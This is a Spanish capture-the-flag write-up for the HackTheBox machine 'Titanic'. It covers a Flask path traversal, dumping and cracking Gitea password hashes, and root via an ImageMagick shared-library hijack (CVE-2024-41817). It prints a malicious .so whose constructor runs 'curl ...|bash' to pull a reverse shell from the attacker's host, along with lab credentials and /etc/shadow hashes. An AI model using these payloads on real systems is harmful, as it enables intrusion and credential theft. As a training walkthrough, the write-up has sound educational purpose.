This page looks best with JavaScript enabled

HackTheBox - Titanic

En Titanic se descubrio Gitea donde se encontro repositorios con codigo fuente y configuracion de Docker. Se identifico una vulnerabilidad Path Traversal en la aplicacion que, junto con archivos de configuracion se logro filtrar una base de datos donde se obtuvieron credenciales para el acceso por SSH. Posteriormente se identifico un cronjob que utilizaba ImageMagick y, a traves de una vulnerabilidad conocida, se obtuvo acceso como root.

Nombre Titanic box_img_maker
OS

Linux

Puntos 20
Dificultad Easy
Fecha de Salida 2025-02-15
IP None
Maker

ruycr4ft

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [1403, 1025, 1675, 1092, 569, 292, 243, 60, 26, 95],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Nmap 7.95 scan initiated Sat Feb 22 01:34:27 2025 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.10.11.55
Nmap scan report for 10.10.11.55
Host is up (0.066s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb 22 01:34:36 2025 -- 1 IP address (1 host up) scanned in 9.02 seconds

Web Site

El sitio web nos redirige al dominio titanic.htb el cual agregamos al archivo /etc/hosts.

1
2
3
4
5
6
7
8
❯ curl -sI 10.10.11.55
HTTP/1.1 301 Moved Permanently
Date: Sat, 22 Feb 2025 06:35:04 GMT
Server: Apache/2.4.52 (Ubuntu)
Location: http://titanic.htb/
Content-Type: text/html; charset=iso-8859-1

Observamos que el sitio tiene una tematica del “titanic”.

image

En el boton ‘book’ podemos crear una reserva.

image

Al generar la reserva nos genera un archivo .json con la informacion enviada.

image

1
{"name": "sckull", "email": "sckull@htb.eu", "phone": "11599107117108108", "date": "2025-02-25", "cabin": "Deluxe"}

Web Tech

wappalyzer nos muestra la tecnologia utilizada por el sitio, se lista Flask como Web Framework.

image

Directory Brute Forcing

feroxbuster muestra los recursos estaticos del sitio y dos rutas: /book, /download.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
❯ feroxbuster -u http://titanic.htb/ -w $CM
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://titanic.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       30l       77w      567c http://titanic.htb/static/styles.css
405      GET        5l       20w      153c http://titanic.htb/book
200      GET      859l     5115w   510909c http://titanic.htb/static/assets/images/luxury-cabins.jpg
200      GET      664l     5682w   412611c http://titanic.htb/static/assets/images/home.jpg
200      GET     2986l     7000w   469100c http://titanic.htb/static/assets/images/favicon.ico
200      GET      890l     5324w   534018c http://titanic.htb/static/assets/images/entertainment.jpg
200      GET      851l     5313w   507854c http://titanic.htb/static/assets/images/exquisite-dining.jpg
200      GET      156l      415w     7399c http://titanic.htb/
400      GET        1l        4w       41c http://titanic.htb/download
403      GET        9l       28w      276c http://titanic.htb/server-status

Subdomain Discovery

Tras ejecutar ffuf este muestra el subdominio dev.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://titanic.htb -H "Host: FUZZ.titanic.htb" -fl 10

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://titanic.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.titanic.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 10
________________________________________________

dev                     [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 73ms]
:: Progress: [100000/100000] :: Job [1/1] :: 602 req/sec :: Duration: [0:02:50] :: Errors: 0 ::

dev.titanic.hb

En el subdominio encontramos Gitea en su version 1.22.1, ademas, encontramos dos repositorios.

image
image

flask-app

En el repositorio flask-app encontramos el codigo fuente del sitio para reservas del ’titanic’.

image

El codigo no muestra ningun tipo de filtro en la ruta /download, por lo que es posible descargar cualquier archivo con una ruta dada.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from flask import Flask, request, jsonify, send_file, render_template, redirect, url_for, Response
import os
import json
from uuid import uuid4

app = Flask(__name__)

TICKETS_DIR = "tickets"

if not os.path.exists(TICKETS_DIR):
    os.makedirs(TICKETS_DIR)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/book', methods=['POST'])
def book_ticket():
    data = {
        "name": request.form['name'],
        "email": request.form['email'],
        "phone": request.form['phone'],
        "date": request.form['date'],
        "cabin": request.form['cabin']
    }

    ticket_id = str(uuid4())
    json_filename = f"{ticket_id}.json"
    json_filepath = os.path.join(TICKETS_DIR, json_filename)

    with open(json_filepath, 'w') as json_file:
        json.dump(data, json_file)

    return redirect(url_for('download_ticket', ticket=json_filename))

@app.route('/download', methods=['GET'])
def download_ticket():
    ticket = request.args.get('ticket')
    if not ticket:
        return jsonify({"error": "Ticket parameter is required"}), 400

    json_filepath = os.path.join(TICKETS_DIR, ticket)

    if os.path.exists(json_filepath):
        return send_file(json_filepath, as_attachment=True, download_name=ticket)
    else:
        return jsonify({"error": "Ticket not found"}), 404

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)

docker-config

El segundo repositorio tiene la configuracion de docker de dos contenedores.

image

En el archivo de gitea se muestra el directorio /home/developer/gitea/data en /data, lo que significa que todo lo que esta en /data se almacena en /home/developer/gitea/data.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
version: '3'

services:
  gitea:
    image: gitea/gitea
    container_name: gitea
    ports:
      - "127.0.0.1:3000:3000"
      - "127.0.0.1:2222:22"  # Optional for SSH access
    volumes:
      - /home/developer/gitea/data:/data # Replace with your path
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always

El archivo de MySQL muestra la conexion y credenciales.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
version: '3.8'

services:
  mysql:
    image: mysql:8.0
    container_name: mysql
    ports:
      - "127.0.0.1:3306:3306"
    environment:
      MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
      MYSQL_DATABASE: tickets 
      MYSQL_USER: sql_svc
      MYSQL_PASSWORD: sql_password
    restart: always

Path Traversal

Observamos en la ruta /download el ticket a descargar.

image

Al no tener filtros podemos pasar /etc/passwd para obtener este archivo.

image

Gitea Database

Como sabemos, gitea almacena informacion/archivos en /home/developer/gitea/data, la documentacion muestra multiples archivos que son almacenados bajo la ruta /data, por lo que podriamos acceder a alguno de ellos.

Logramos acceder primero al archivo de configuracion de gitea. En este encontramos la ruta de la base de datos sqlite: /data/gitea/gitea.db.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# /home/developer/gitea/data/gitea/conf/app.ini
APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /data/gitea

[repository]
ROOT = /data/git/repositories

[repository.local]
LOCAL_COPY_PATH = /data/gitea/tmp/local-repo

[repository.upload]
TEMP_PATH = /data/gitea/uploads

[server]
APP_DATA_PATH = /data/gitea
DOMAIN = gitea.titanic.htb
SSH_DOMAIN = gitea.titanic.htb
HTTP_PORT = 3000
ROOT_URL = http://gitea.titanic.htb/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4
OFFLINE_MODE = true

[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD = 
LOG_SQL = false
SCHEMA = 
SSL_MODE = disable

[indexer]
ISSUE_INDEXER_PATH = /data/gitea/indexers/issues.bleve

[session]
PROVIDER_CONFIG = /data/gitea/sessions
PROVIDER = file

[picture]
AVATAR_UPLOAD_PATH = /data/gitea/avatars
REPOSITORY_AVATAR_UPLOAD_PATH = /data/gitea/repo-avatars

[attachment]
PATH = /data/gitea/attachments

[log]
MODE = console
LEVEL = info
ROOT_PATH = /data/gitea/log

[security]
INSTALL_LOCK = true
SECRET_KEY = 
REVERSE_PROXY_LIMIT = 1
REVERSE_PROXY_TRUSTED_PROXIES = *
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8
PASSWORD_HASH_ALGO = pbkdf2

[service]
DISABLE_REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL = false
ALLOW_ONLY_EXTERNAL_REGISTRATION = false
ENABLE_CAPTCHA = false
DEFAULT_KEEP_EMAIL_PRIVATE = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING = true
NO_REPLY_ADDRESS = noreply.localhost

[lfs]
PATH = /data/git/lfs

[mailer]
ENABLED = false

[openid]
ENABLE_OPENID_SIGNIN = true
ENABLE_OPENID_SIGNUP = true

[cron.update_checker]
ENABLED = false

[repository.pull-request]
DEFAULT_MERGE_STYLE = merge

[repository.signing]
DEFAULT_TRUST_MODEL = committer

[oauth2]
JWT_SECRET = FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3g

Descargamos la base de datos con wget.

1
2
3
4
❯ wget -q 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db' -O gitea.db
❯ file gitea.db
gitea.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 572, database pages 509, cookie 0x1d9, schema 4, UTF-8, version-valid-for 572

Dentro de la base de datos encontramo s la tabla user, donde observamos columnas que pertenecen a un hash de contrasena, si observamos el archivo de configuracion este muestra pbkdf2.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ file gitea.db
gitea.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 562, database pages 509, cookie 0x1d9, schema 4, UTF-8, version-valid-for 562
❯ sqlite3
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open gitea.db
sqlite> .tables
access                     oauth2_grant             
[...] snip [...]               
language_stat              user                     
lfs_lock                   user_badge               
[..] snip [..]     
oauth2_authorization_code  webhook                  
sqlite> .schema user
CREATE TABLE `user` (`id` INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, `lower_name` TEXT NOT NULL, `name` TEXT NOT NULL, `full_name` TEXT NULL, `email` TEXT NOT NULL, `keep_email_private` INTEGER NULL, `email_notifications_preference` TEXT DEFAULT 'enabled' NOT NULL, `passwd` TEXT NOT NULL, `passwd_hash_algo` TEXT DEFAULT 'argon2' NOT NULL, `must_change_password` INTEGER DEFAULT 0 NOT NULL, `login_type` INTEGER NULL, `login_source` INTEGER DEFAULT 0 NOT NULL, `login_name` TEXT NULL, `type` INTEGER NULL, `location` TEXT NULL, `website` TEXT NULL, `rands` TEXT NULL, `salt` TEXT NULL, `language` TEXT NULL, `description` TEXT NULL, `created_unix` INTEGER NULL, `updated_unix` INTEGER NULL, `last_login_unix` INTEGER NULL, `last_repo_visibility` INTEGER NULL, `max_repo_creation` INTEGER DEFAULT -1 NOT NULL, `is_active` INTEGER NULL, `is_admin` INTEGER NULL, `is_restricted` INTEGER DEFAULT 0 NOT NULL, `allow_git_hook` INTEGER NULL, `allow_import_local` INTEGER NULL, `allow_create_organization` INTEGER DEFAULT 1 NULL, `prohibit_login` INTEGER DEFAULT 0 NOT NULL, `avatar` TEXT NOT NULL, `avatar_email` TEXT NOT NULL, `use_custom_avatar` INTEGER NULL, `num_followers` INTEGER NULL, `num_following` INTEGER DEFAULT 0 NOT NULL, `num_stars` INTEGER NULL, `num_repos` INTEGER NULL, `num_teams` INTEGER NULL, `num_members` INTEGER NULL, `visibility` INTEGER DEFAULT 0 NOT NULL, `repo_admin_change_team_access` INTEGER DEFAULT 0 NOT NULL, `diff_view_style` TEXT DEFAULT '' NOT NULL, `theme` TEXT DEFAULT '' NOT NULL, `keep_activity_private` INTEGER DEFAULT 0 NOT NULL);
CREATE UNIQUE INDEX `UQE_user_name` ON `user` (`name`);
CREATE UNIQUE INDEX `UQE_user_lower_name` ON `user` (`lower_name`);
CREATE INDEX `IDX_user_is_active` ON `user` (`is_active`);
CREATE INDEX `IDX_user_created_unix` ON `user` (`created_unix`);
CREATE INDEX `IDX_user_updated_unix` ON `user` (`updated_unix`);
CREATE INDEX `IDX_user_last_login_unix` ON `user` (`last_login_unix`);
sqlite>

Observamos que existen unicamente dos usuarios registrados.

1
2
3
4
sqlite> select name, passwd, passwd_hash_algo, salt from user;
administrator|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|2d149e5fbd1b20cf31db3e3c6a28fc9b
developer|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|8bf3e3452b78544f8bee9400d6936d34
sqlite>

Cracking the Hash

Nos referimos a Crack Gitea Hash para convertir los hashes en formato para hashcat.

1
2
3
4
5
6
7
❯ sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
❯ cat gitea.hashes
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=

Ejecutamos hashcat sobre el archivo de hashes y observamos unicamente en texto plano la contrasena de developer.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
C:\Users\sckull\Documents\hashcat-6.2.6>hashcat ../gitea.hashes rockyou.txt --user
hashcat (v6.2.6) starting in autodetect mode

[... snip ...]

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528

[...] snip [...]

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: ../gitea.hashes
Time.Started.....: Sat Feb 22 02:54:28 2025 (7 mins, 37 secs)
Time.Estimated...: Sat Feb 22 03:02:05 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    31594 H/s (3.81ms) @ Accel:8 Loops:128 Thr:512 Vec:1
Recovered........: 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new), 1/2 (50.00%) Salts
Progress.........: 28688770/28688770 (100.00%)
Rejected.........: 0/28688770 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:1 Amplifier:0-1 Iteration:49920-49999
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[2a6c617572612a717565736f2a38] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Temp: 58c Fan: 50% Util: 98% Core:2760MHz Mem:8250MHz Bus:8

Started: Sat Feb 22 02:54:25 2025
Stopped: Sat Feb 22 03:02:06 2025

C:\Users\sckull\Documents\hashcat-6.2.6>

User - Developer

El par de credenciales nos permitieron el acceso por SSH y realizar la lectura de la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(kali㉿kali)-[~/htb/titanic]
└─$ ssh developer@titanic.htb # 25282528
developer@titanic.htb's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Feb 22 08:09:26 AM UTC 2025

  System load:           0.88
  Usage of /:            80.8% of 6.79GB
  Memory usage:          21%
  Swap usage:            0%
  Processes:             235
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.55
  IPv6 address for eth0: dead:beef::250:56ff:feb0:dfd4


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


developer@titanic:~$ whoami;id;pwd
developer
uid=1000(developer) gid=1000(developer) groups=1000(developer)
/home/developer
developer@titanic:~$ ls
gitea  linpeas.sh  mysql  snap  user.txt
developer@titanic:~$ cat user.txt 
d5b574c221b47f8421e62170de8f4901
developer@titanic:~$

Privesc

Dentro del directorio /opt encontramos un script que busca imagenes .jpg y obtiene la informacion de estas y las escribe en un archivo de log.

1
2
3
4
5
6
7
developer@titanic:/opt/scripts$ l
identify_images.sh*
developer@titanic:/opt/scripts$ cat identify_images.sh 
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
developer@titanic:/opt/scripts$

Encontramos que el script es ejecutado cada minuto al observar la fecha de modificacion del archivo metadata.log.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
developer@titanic:/opt/app/static/assets/images$ ll
total 1288
drwxrwx--- 2 root developer   4096 Feb 25 07:04 ./
drwxr-x--- 3 root developer   4096 Feb  7 10:37 ../
-rw-r----- 1 root developer 291864 Feb  3 17:13 entertainment.jpg
-rw-r----- 1 root developer 280854 Feb  3 17:13 exquisite-dining.jpg
-rw-r----- 1 root developer 209762 Feb  3 17:13 favicon.ico
-rw-r----- 1 root developer 232842 Feb  3 17:13 home.jpg
-rw-r----- 1 root developer 280817 Feb  3 17:13 luxury-cabins.jpg
-rw-r--r-- 1 root root         442 Feb 25 07:04 metadata.log
developer@titanic:/opt/app/static/assets/images$ ll
total 1288
drwxrwx--- 2 root developer   4096 Feb 25 07:04 ./
drwxr-x--- 3 root developer   4096 Feb  7 10:37 ../
-rw-r----- 1 root developer 291864 Feb  3 17:13 entertainment.jpg
-rw-r----- 1 root developer 280854 Feb  3 17:13 exquisite-dining.jpg
-rw-r----- 1 root developer 209762 Feb  3 17:13 favicon.ico
-rw-r----- 1 root developer 232842 Feb  3 17:13 home.jpg
-rw-r----- 1 root developer 280817 Feb  3 17:13 luxury-cabins.jpg
-rw-r--r-- 1 root root         442 Feb 25 07:05 metadata.log
developer@titanic:/opt/app/static/assets/images$

CVE-2024-41817

Encontramos que la version de magick es vulnerable a Arbitrary Code Execution.

1
2
3
4
5
6
7
8
developer@titanic:/opt/scripts$ magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
developer@titanic:/opt/scripts$

La vulnerabilidad se encuentra en las variables de entorno, en este caso en LD_LIBRARY_PATH, la descripcion de la vulnerabilidad indica:

… it might use current working directory as the path to search for the configuration file or shared libraries, because empty path in these environment variables means the current working directory. Which means it might load the delegates.xml or shared libraries from the current working directory.

Esto quiere decir que al ingresar a /opt/app/static/assets/images estaria buscando las librerias compartidas.

Exploitation

En el directorio de imagenes creamos la libreria libxcb.so.1 con el comando para ejecutar id y redirigir el output a /dev/shm/id.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
developer@titanic:/opt/app/static/assets/images$ ls
entertainment.jpg  exquisite-dining.jpg  favicon.ico  home.jpg  luxury-cabins.jpg  metadata.log
developer@titanic:/opt/app/static/assets/images$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
> #include <stdio.h>
> #include <stdlib.h>
> #include <unistd.h>
> 
> __attribute__((constructor)) void init(){
>     system("id>/dev/shm/id");
>     exit(0);
> }
> EOF
developer@titanic:/opt/app/static/assets/images$ ls
entertainment.jpg  exquisite-dining.jpg  favicon.ico  home.jpg  libxcb.so.1  luxury-cabins.jpg  metadata.log
developer@titanic:/opt/app/static/assets/images$

Tras la ejecucion del script observamos el resultado de la ejecucion.

1
2
3
developer@titanic:/opt/app/static/assets/images$ cat /dev/shm/id
uid=0(root) gid=0(root) groups=0(root)
developer@titanic:/opt/app/static/assets/images$

Shell

Agregamos a la libreria la ejecucion de una shell inversa con shells.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("curl 10.10.15.106:8000/10.10.15.106:1335|bash");
    exit(0);
}
EOF

Tras esperar la ejecucion del script logramos obtener una shell como root y realizar la lectura de root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.15.106] from titanic.htb [10.10.11.55] 46550
/bin/sh: 0: can't access tty; job control turned off
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
# cd
# ls
cleanup.sh
images
revert.sh
root.txt
snap
# cat root.txt
1cbad1498ee3236577f83c46bd2e075f
#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# cat /etc/shadow
root:$y$j9T$FEVNYiA6DwY7GiuIjF42Y0$DqhzPlCnT7fI5E3c6LQ0Wx7ym/PhY0swKTKUczhwwv6:19937:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
man:*:19579:0:99999:7:::
lp:*:19579:0:99999:7:::
mail:*:19579:0:99999:7:::
news:*:19579:0:99999:7:::
uucp:*:19579:0:99999:7:::
proxy:*:19579:0:99999:7:::
www-data:*:19579:0:99999:7:::
backup:*:19579:0:99999:7:::
list:*:19579:0:99999:7:::
irc:*:19579:0:99999:7:::
gnats:*:19579:0:99999:7:::
nobody:*:19579:0:99999:7:::
_apt:*:19579:0:99999:7:::
systemd-network:*:19579:0:99999:7:::
systemd-resolve:*:19579:0:99999:7:::
messagebus:*:19579:0:99999:7:::
systemd-timesync:*:19579:0:99999:7:::
pollinate:*:19579:0:99999:7:::
sshd:*:19579:0:99999:7:::
syslog:*:19579:0:99999:7:::
uuidd:*:19579:0:99999:7:::
tcpdump:*:19579:0:99999:7:::
tss:*:19579:0:99999:7:::
landscape:*:19579:0:99999:7:::
fwupd-refresh:*:19579:0:99999:7:::
usbmux:*:19936:0:99999:7:::
developer:$y$j9T$Sof1eV6yeubj9QaCTbzxd1$WsWRB9X8pgYiJozBaqsEsA/wJRjlWk6iKXv6VNG/fU5:19937:0:99999:7:::
lxd:!:19936::::::
dnsmasq:*:19937:0:99999:7:::
_laurel:!:20126::::::
#
Share on

Dany Sucuc
WRITTEN BY
sckull